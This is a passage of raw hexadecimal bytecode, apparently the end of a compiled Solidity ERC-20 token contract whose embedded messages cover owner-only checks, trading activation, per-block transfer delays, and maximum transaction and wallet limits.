ffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612afd57612afa8385612c12565b90505b8091505092915050565b6000612b4983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061268b565b905092915050565b6000808284612b609190613c67565b905083811015612ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9c90614052565b60405180910390fd5b8091505092915050565b60008083118290612bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bed9190612d80565b60405180910390fd5b5060008385612c059190613f43565b9050809150509392505050565b600080603290506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205443612c669190613d99565b905060008282612c7691906133f8565b9050600060648211612c9457816064612c8f9190613d99565b612c97565b60005b9050600060648289612ca991906133f8565b612cb39190613f43565b9050612cc9600082612cd690919063ffffffff16565b9550505050505092915050565b600081831015612ce65781612ce8565b825b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d2a578082015181840152602081019050612d0f565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d5282612cf0565b612d5c8185612cfb565b9350612d6c818560208601612d0c565b612d7581612d36565b840191505092915050565b60006020820190508181036000830152612d9a8184612d47565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dd782612dac565b9050919050565b612de781612dcc565b8114612df257600080fd5b50565b600081359050612e0481612dde565b92915050565b6000819050919050565b612e1d81612e0a565b8114612e2857600080fd5b50565b600081359050612e3a81612e14565b92915050565b60008060408385031215612e5757612e56612da2565b5b6000612e6585828601612df5565b9250506020612e7685828601612e2b565b9150509250929050565b60008115159050919050565b612e9581612e80565b82525050565b6000602082019050612eb06000830184612e8c565b92915050565b612ebf81612e0a565b82525050565b6000602082019050612eda6000830184612eb6565b92915050565b600080600060608486031215612ef957612ef8612da2565b5b6000612f0786828701612df5565b9350506020612f1886828701612df5565b9250506040612f2986828701612e2b565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612f5857612f57612f33565b5b8235905067ffffffffffffffff811115612f7557612f74612f38565b5b602083019150836020820283011115612f9157612f90612f3d565b5b9250929050565b600080600060408486031215612fb157612fb0612da2565b5b600084013567ffffffffffffffff811115612fcf57612fce612da7565b5b612fdb86828701612f42565b93509350506020612fee86828701612e2b565b9150509250925092565b600060ff82169050919050565b61300e81612ff8565b82525050565b60006020820190506130296000830184613005565b92915050565b61303881612dcc565b82525050565b6000602082019050613053600083018461302f565b92915050565b60006020828403121561306f5761306e612da2565b5b600061307d84828501612df5565b91505092915050565b61308f81612e80565b811461309a57600080fd5b50565b6000813590506130ac81613086565b92915050565b6000806000604084860312156130cb576130ca612da2565b5b600084013567ffffffffffffffff8111156130e9576130e8612da7565b5b6130f586828701612f42565b935093505060206131088682870161309d565b9150509250925092565b6000806040838503121561312957613128612da2565b5b600061313785828601612df5565b925050602061314885828601612df5565b9150509250929050565b60006020828403121561316857613167612da2565b5b600061317684828501612e2b565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006131b5602083612cfb565b91506131c08261317f565b602082019050919050565b600060208201905081810360008301526131e4816131a8565b9050919050565b6000819050919050565b6000819050919050565b600061321a613215613210846131eb565b6131f5565b612e0a565b9050919050565b61322a816131ff565b82525050565b60006020820190506132456000830184613221565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156132d1578086048111156132ad576132ac61324b565b5b60018516156132bc5780820291505b80810290506132ca8561327a565b9450613291565b94509492505050565b6000826132ea57600190506133a6565b816132f857600090506133a6565b816001811461330e576002811461331857613347565b60019150506133a6565b60ff84111561332a5761332961324b565b5b8360020a9150848211156133415761334061324b565b5b506133a6565b5060208310610133831016604e8410600b841016171561337c5782820a9050838111156133775761337661324b565b5b6133a6565b6133898484846001613287565b925090508184048111156133a05761339f61324b565b5b81810290505b9392505050565b60006133b882612e0a565b91506133c383612ff8565b92506133f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846132da565b905092915050565b600061340382612e0a565b915061340e83612e0a565b925082820261341c81612e0a565b915082820484148315176134335761343261324b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061347881612e14565b92915050565b60006020828403121561349457613493612da2565b5b60006134a284828501613469565b91505092915050565b60006134c66134c16134bc84612dac565b6131f5565b612dac565b9050919050565b60006134d8826134ab565b9050919050565b60006134ea826134cd565b9050919050565b6134fa816134df565b82525050565b600060408201905061351560008301856134f1565b6135226020830184612eb6565b9392505050565b60008151905061353881613086565b92915050565b60006020828403121561355457613553612da2565b5b600061356284828501613529565b91505092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006135a1601783612cfb565b91506135ac8261356b565b602082019050919050565b600060208201905081810360008301526135d081613594565b9050919050565b6000815190506135e681612dde565b92915050565b60006020828403121561360257613601612da2565b5b6000613610848285016135d7565b91505092915050565b600060408201905061362e600083018561302f565b61363b602083018461302f565b9392505050565b600060c082019050613657600083018961302f565b6136646020830188612eb6565b6136716040830187613221565b61367e6060830186613221565b61368b608083018561302f565b61369860a0830184612eb6565b979650505050505050565b6000806000606084860312156136bc576136bb612da2565b5b60006136ca86828701613469565b93505060206136db86828701613469565b92505060406136ec86828701613469565b9150509250925092565b600060408201905061370b600083018561302f565b6137186020830184612eb6565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061377b602483612cfb565b91506137868261371f565b604082019050919050565b600060208201905081810360008301526137aa8161376e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061380d602283612cfb565b9150613818826137b1565b604082019050919050565b6000602082019050818103600083015261383c81613800565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061389f602583612cfb565b91506138aa82613843565b604082019050919050565b600060208201905081810360008301526138ce81613892565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613931602383612cfb565b915061393c826138d5565b604082019050919050565b6000602082019050818103600083015261396081613924565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006139c3602983612cfb565b91506139ce82613967565b604082019050919050565b600060208201905081810360008301526139f2816139b6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613a55602683612cfb565b9150613a60826139f9565b604082019050919050565b60006020820190508181036000830152613a8481613a48565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f7420616374697660008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ae7602283612cfb565b9150613af282613a8b565b604082019050919050565b60006020820190508181036000830152613b1681613ada565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000613b9f604983612cfb565b9150613baa82613b1d565b606082019050919050565b60006020820190508181036000830152613bce81613b92565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b6000613c31602683612cfb565b9150613c3c82613bd5565b604082019050919050565b60006020820190508181036000830152613c6081613c24565b9050919050565b6000613c7282612e0a565b9150613c7d83612e0a565b9250828201905080821115613c9557613c9461324b565b5b92915050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613cd1601383612cfb565b9150613cdc82613c9b565b602082019050919050565b60006020820190508181036000830152613d0081613cc4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b6000613d63602783612cfb565b9150613d6e82613d07565b604082019050919050565b60006020820190508181036000830152613d9281613d56565b9050919050565b6000613da482612e0a565b9150613daf83612e0a565b9250828203905081811115613dc757613dc661324b565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e3181612dcc565b82525050565b6000613e438383613e28565b60208301905092915050565b6000602082019050919050565b6000613e6782613dfc565b613e718185613e07565b9350613e7c83613e18565b8060005b83811015613ead578151613e948882613e37565b9750613e9f83613e4f565b925050600181019050613e80565b5085935050505092915050565b600060a082019050613ecf6000830188612eb6565b613edc6020830187613221565b8181036040830152613eee8186613e5c565b9050613efd606083018561302f565b613f0a6080830184612eb6565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f4e82612e0a565b9150613f5983612e0a565b925082613f6957613f68613f14565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613fd0602183612cfb565b9150613fdb82613f74565b604082019050919050565b60006020820190508181036000830152613fff81613fc3565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061403c601b83612cfb565b915061404782614006565b602082019050919050565b6000602082019050818103600083015261406b8161402f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220765093df65ab05d0e91fa93f1344af84f4b0d445c7116b8cfea9dd151d6dd3fb64736f6c63430008170033